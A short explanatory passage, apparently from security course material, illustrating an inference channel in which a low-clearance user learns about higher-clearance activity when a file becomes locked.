Another example: say that the lower level user is working on a file, and suddenly the file gets locked because a user with higher privileges has opened it and is reading it. By observing this, the lower level user can infer what higher level users are doing right now, which leads him to have knowledge he should not permitted to have (this knowledge would be the fact that he knows the file is important enough for someone with higher clearance to read it).